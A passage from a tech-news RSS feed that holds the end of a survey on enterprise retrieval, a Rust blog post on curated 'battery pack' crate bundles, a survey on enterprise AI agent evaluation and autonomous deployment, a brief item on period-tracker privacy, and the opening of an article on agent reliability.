practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Niko Matsakis: Battery packs: Let's talk about crates, baby]]></title>
<description><![CDATA[This blog post describes an idea I’ve been kicking around called battery packs. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has everything you need to build a great CLI, an opinionated pack for creating a backend web servi...]]></description>
<link>https://tsecurity.de/de/3674266/tools/niko-matsakis-battery-packs-lets-talk-about-crates-baby/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674266/tools/niko-matsakis-battery-packs-lets-talk-about-crates-baby/</guid>
<pubDate>Thu, 16 Jul 2026 19:24:07 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img alt="Battery pack logo" class="float-right" src="https://smallcultfollowing.com/babysteps/%20/assets/2026-07-15-battery-packs.png">
<p>This blog post describes an idea I’ve been kicking around called <strong>battery packs</strong>. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has <a href="https://crates.io/crates/cli-battery-pack">everything you need to build a great CLI</a>, an opinionated pack for <a href="https://crates.io/crates/backend-service-battery-pack">creating a backend web service</a>, and <a href="https://crates.io/crates/embedded-battery-pack">one for embedded development</a> (based on the Embedded Working Group’s <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Rust repository</a>). We’ve also got some smaller ones, such as the <a href="https://crates.io/crates/error-battery-pack">error-handling battery pack</a> that shows how to handle errors in Rust. But this is just the beginning – a key part of the battery pack design is that anybody can create one.</p>
<p>Battery packs are meant to address one of the most common things I hear from new Rust adopters. Everyone loves the wealth of high-quality crates available on crates.io. And everyone hates having to spend a bunch of time researching and comparing alternatives. Battery packs can serve as a good set of default choices. And they don’t lock you in. At heart, they’re basically just a list of recommended crates, so you can always swap something out if you find an alternative.</p>

<p>We’ve got a prototype of the battery pack tool working today, so you can try it out if you’re curious. Just run <code>cargo install cargo-bp</code> and then try a few commands! For example,</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">&gt; cargo bp list
</span></span></code></pre></div><p>will show you the set of available battery packs, based on a crates.io search (as I’ll explain below, a battery pack is itself packaged and distributed as a crate, but not one that you take a direct dependency on). And <code>cargo bp add</code> will add batteries from a battery pack into your crate, so e.g.</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">&gt; cargo bp add cli
</span></span></code></pre></div><p>would let you select and add common CLI libraries. If you want to see a more involved demo, try out <code>cargo bp add embedded</code>, which is derived from the <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Embedded Rust</a> repository.</p>
<h3>Let’s talk about you and me</h3>
<p>One of the key ideas from battery packs is that <strong>anybody can publish one</strong>. They are just a crate named <code>X-battery-pack</code>; the dependencies of that crate are your recommendations. Features are designations of common sets of crates frequently used together. The examples are your templates. And so forth.</p>
<p>Letting anybody create a battery pack is in contrast to the previous ideas for an “extended standard library for Rust”<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:1">1</a></sup>, and it is intended to address some of Rust’s unique challenges. For one thing, it lets people publish battery packs that are tailored to specific requirements. For example, the <a href="https://crates.io/crates/cli-battery-pack">CLI</a> and <a href="https://crates.io/crates/backend-service-battery-pack">backend service</a> battery packs are targeting a “typical computer”. But I could imagine the <a href="https://rust-embedded.org/">Rust embedded working group</a> publishing a battery pack with libraries focused on no-std and binary size optimization.</p>
<p>Being open-ended also addresses the <em>“who decides?”</em> question. To my mind, the best people to recommend what libraries you ought to use are <strong>other people building systems like yours</strong>. This is why I mentioned the Embedded Working Group publishing an Embedded battery pack, for example, as I think they are clearly a set of people who know their space well. But even within the embedded space there are yet smaller groups, and I imagine that sometimes it’ll make sense to get narrower. For example, perhaps a battery pack targeted <a href="https://embassy.dev/">embassy</a> and its associated ecosystem? Unclear.</p>
<h4>Creating a battery pack</h4>
<p>If you wanted to create a battery pack, how do you do it? One answer is that you just create a new crate. But a better approach is to use the “battery-pack battery pack”<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:2">2</a></sup>, which bundles a template:</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">cargo bp new battery-pack
</span></span></code></pre></div><p>This will prompt you for the name of the battery pack you want to create and a few other things and make your crate. Then you can just use <code>cargo add</code> dependencies to represent the libraries you want to recommend and publish.</p>
<h4>“Batteries” are more than dependencies</h4>
<p>The “batteries” that you can add to your project aren’t always dependencies. They can also be “recipes” or templates. For example, the CI battery pack<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:3">3</a></sup> can configure your project with the kind of “super neat-o” github actions you’ve always wanted but never wanted to bother configuring. To use it, select one or more of the templates to install:</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">cargo bp add ci
</span></span></code></pre></div><p>I expect this kind of “actions to improve your crate” to become a rich source of things. Right now we’re using a relatively lightweight template system built on <a href="https://github.com/mitsuhiko/minijinja">minijinja</a>, but I think we’re going to want to expand on this.</p>
<h4>Giving it some structure</h4>
<p>Battery Packs also support more than just a flat listing of dependencies/features/templates. You can group dependencies and features into <em>categories</em> and then, for each category, distinguish between “pick at most one” or “pick any number”. For a fun example, try <code>cargo bp add embedded</code>, which is derived from the <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Embedded Rust</a> repository. If you run it, you’ll see something like this, which groups the choices thematically and, in some areas like “concurrency framework”, makes it clear that you want to pick one:</p>
<pre tabindex="0"><code>──────────────────────────────────────────────────────────────────
 ▼ Concurrency Framework (pick at most one)
 &gt; ○ ✦ embassy [embassy-executor, embassy-sync, embassy-time]
   ○ ✦ rtic [cortex-m, rtic]    RTIC — interrupt-driven real-time

 ▼ Display &amp; Graphics (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col

 ▼ Popular Drivers (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col
   [ ] ✦ sensor-bme280 [bme280]    BME280 temperature/humidity/pr
   [ ] ✦ sensor-lis3dh [lis3dh]    LIS3DH 3-axis accelerometer (I
   [ ] ✦ usb-device [usb-device, usbd-serial]    USB device stack

 ▼ Hardware Abstraction Layer (pick at most one)
   ○ ✦ atsamd [atsamd-hal, cortex-m-rt, critical-section-impl, co
   ○ ✦ esp32 [embedded-hal, esp-hal]    ESP32 (Xtensa, WiFi + BT,
   ○ ✦ esp32c3 [embedded-hal, esp-hal]    ESP32-C3 (RISC-V, WiFi
   ○ ✦ esp32s3 [embedded-hal, esp-hal]    ESP32-S3 (Xtensa, WiFi
   ○ ✦ nrf52832 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf52840 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf9160 [cortex-m-rt, critical-section-impl, cortex-m, emb
   ○ ✦ rp2040 [cortex-m-rt, critical-section-impl, cortex-m, embe
   ○ ✦ stm32f0 [cortex-m-rt, critical-section-impl, cortex-m, emb
 embedded-battery-pack v0.1.0  ↑↓/jk Navigate | Space Toggle | ←/→
</code></pre><h3>Let’s talk about all the good things…</h3>
<p>So why am I so keen on battery packs? It’s largely because I’ve heard so many would-be or recent Rust adopters talk about picking crates as a challenge. But I feel they would help with some other problems as well.</p>
<p>What I really want to see is working groups in the <a href="https://rustfoundation.org/rust-commercial-network/">Rust Commercial Network</a> banding together to publish battery packs and recommendations. These would cover the dependencies that they’re actually using.</p>
<h4>Supporting maintainers</h4>
<p>One of the reasons I want to have RCN-recognized battery packs is that they are a natural focal point to then prompt RCN members to fund the maintenance of those crates. I am imagining that for each sponsored battery pack vended within the RCN, there is an associated “ecosystem fund”. Companies or individuals could sponsor this fund to get access to early patches, security disclosures, etc or other perks. The money would be used to support the maintainers of those crates, to implement missing features, and so forth.</p>
<h4>Fostering interoperability</h4>
<p>Another value-add from battery packs is the ability to drive interop efforts. I think that as soon as we start talking about standardizing, we’re also going to recognize that there are some places where standardization is hard. For example, early conversations within the <a href="https://rust-commercial-network.github.io/rcn/network-services-wg.html">network service working group</a> (unsurprisingly) immediately identified that while most people are using <a href="https://tokio.rs/">tokio</a>, some major companies are using their own runtimes internally. It’s not like the need for “async runtime interop” is <a href="https://rust-lang.github.io/wg-async/vision/submitted_stories/status_quo/barbara_wishes_for_easy_runtime_switch.html">news</a>. But right now, every crate winds up effectively implementing their own set of little traits to make it work. Sponsored battery packs offer the possibility of a neutral home for that sort of thing.</p>
<h3>…and the bad things that could be</h3>
<p>There are some risks to people using battery packs. The most obvious is that the fact that anybody can publish a battery pack may mean that you just get a ton of battery packs, which doesn’t really help anybody! I’m not so worried about this because I think that there will be a few obvious places that most people go first, and then I think once people are oriented, they’ll get excited to explore what crates.io has to offer and start discovering more niche battery packs.</p>
<h4>Avoiding stagnation</h4>
<p>Battery packs are designed to evolve. I’ve seen it happen a number of times that there is a dominant crate for something, often taking a “traditional approach”, but then somebody else comes along and presents an interesting alternative that gradually takes off. I love that and I don’t want to put it at risk.</p>
<p>One example of evolution around CLI argument parsing. For a time, <a href="https://crates.io/crates/docopt">docopt</a> was a popular way to parse command-line options. Then <a href="https://crates.io/crates/clap">clap</a> came along and presented a more structured alternative; that was nice, but then structopt came along and connected clap to an auto-derive, so you could just write your data structure and be done. And <em>that</em> was awesome. (That is now the standard in clap.) I want to be sure that, even if there is a CLI battery pack, there’s room for the next clap to come along.</p>
<p>There are a few things about battery pack that I think will help us deal with this. First, they are a “thin abstraction”. You don’t “depend on” a battery pack, you depend on the crates within it. So if a new version comes out that uses clap instead of docopt, that doesn’t impact you at all. Your code keeps working same as it ever did. And of course it helps that <em>anybody</em> can publish a battery pack. You can now have variations on battery packs that are focused around a new approach to help it get started.</p>
<p>Done right, I think that standardized battery packs can also <em>help</em> the ecosystem evolve and pivot. As it is now, knowledge of new crates has to spread by word-of-mouth. But if everybody is aligned around a new approach, adopting that new approach within a battery packs sends a clear signal that your group is aligned that something is the new hotness.</p>
<h3>…Let’s talk about crates<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:4">4</a></sup></h3>
<h4>“Always bet on the ecosystem”</h4>
<p>I see <strong>always bet on the ecosystem</strong> as a key Rust design axiom. It’s the reason we chose a small standard library and a package manager in the first place. It’s also why battery packs are designed to be published by anyone.</p>
<p>But just like plants sometimes need a trellis to grow taller, any successful ecosystem reaches a point where it needs another layer of structure to help it keep growing. Without that, you have this “layer of tacic knowledge” (in <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/#example-the-wealth-of-crates-on-crates-io-are-a-key-enabler-but-can-be-an-obstacle">the words of a Rust Vision Doc interviewee</a>) that becomes an obstacle for folks. And I think we’ve reached that point with <code>crates.io</code>.</p>
<p>I am hopeful that battery packs can provide that next layer of structure. But at the end of the day, if there’s a better approach, that’s fine too, so long as we find a way to help people find (<em>and fund!</em>) the crates they need. So let’s talk about it!</p>
<div class="footnotes">
<hr>
<ol>
<li>
<p>My first recollection of it was the <a href="https://internals.rust-lang.org/t/proposal-the-rust-platform/3745">Rust Platform</a> idea we floated in 2016! <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:1">↩︎</a></p>
</li>
<li>
<p>Yo dawg… <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:2">↩︎</a></p>
</li>
<li>
<p>Hat tip to Jess Izen, who proposed and developed the CI battery pack. Neat idea. <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:3">↩︎</a></p>
</li>
<li>
<p>Oh, and: my apologies to <a href="https://en.wikipedia.org/wiki/Let's_Talk_About_Sex">Salt-N-Peppa</a>. <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:4">↩︎</a></p>
</li>
</ol>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 16 Jul 2026 19:03:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Period tracker Stardust shares users’ health data with analytics firm, says Mozilla research]]></title>
<description><![CDATA[One period tracker app tested by Mozilla was ‘squeaky clean,’ while another app was seen sharing users’ health data with an analytics company, underscoring vast differences in user privacy among these apps. This article has been indexed from Security News…
Read more →
The post Period tracker Star...]]></description>
<link>https://tsecurity.de/de/3674125/it-security-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-mozilla-research/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674125/it-security-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-mozilla-research/</guid>
<pubDate>Thu, 16 Jul 2026 18:41:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>One period tracker app tested by Mozilla was ‘squeaky clean,’ while another app was seen sharing users’ health data with an analytics company, underscoring vast differences in user privacy among these apps. This article has been indexed from Security News…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-mozilla-research/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-mozilla-research/">Period tracker Stardust shares users’ health data with analytics firm, says Mozilla research</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon AGI director says AI agent reliability, not capability, is blocking enterprise deployment at VB Transform 2026]]></title>
<description><![CDATA[The enterprise AI industry has a math problem. Cisco data shows 85% of enterprises are piloting AI agents, but only 5% have shipped them to production. At VB Transform 2026 on Tuesday, Bryan Silverthorn, Director of AGI Autonomy at Amazon, explained why that gap persists — and why the answer isn'...]]></description>
<link>https://tsecurity.de/de/3674071/it-nachrichten/amazon-agi-director-says-ai-agent-reliability-not-capability-is-blocking-enterprise-deployment-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674071/it-nachrichten/amazon-agi-director-says-ai-agent-reliability-not-capability-is-blocking-enterprise-deployment-at-vb-transform-2026/</guid>
<pubDate>Thu, 16 Jul 2026 18:19:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The enterprise AI industry has a math problem. Cisco data shows <a href="https://venturebeat.com/security/85-of-enterprises-are-running-ai-agents-only-5-trust-them-enough-to-ship">85% of enterprises</a> are piloting AI agents, but only 5% have shipped them to production. At <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> on Tuesday, <a href="https://silverthorn.blog/">Bryan Silverthorn</a>, Director of AGI Autonomy at Amazon, explained why that gap persists — and why the answer isn't better benchmarks.</p><p>Silverthorn, who joined Amazon through its acquisition of Adept AI and now leads multimodal agent training inside the company's AGI lab, argued that reliability must be broken into four distinct dimensions: consistency, robustness, predictability, and safety — a framework he credits to research from Princeton.</p><p>"It unpacks different factors that I see tangled together in almost every eval I've ever seen," he said.</p><h2><b>Why AI agents pass internal evals but fail real customers in production</b></h2><p>The framework matters because agents routinely ace internal evaluations and then collapse in the wild. Silverthorn described a customer that deployed an agent for software QA involving serial number extraction from screens. It worked flawlessly for two months — then began intermittently reading wrong numbers. The culprit: the underlying vision encoder behaved differently depending on where the serial number appeared on screen, and a software change imperceptible to humans triggered the failure.</p><p>The lesson, 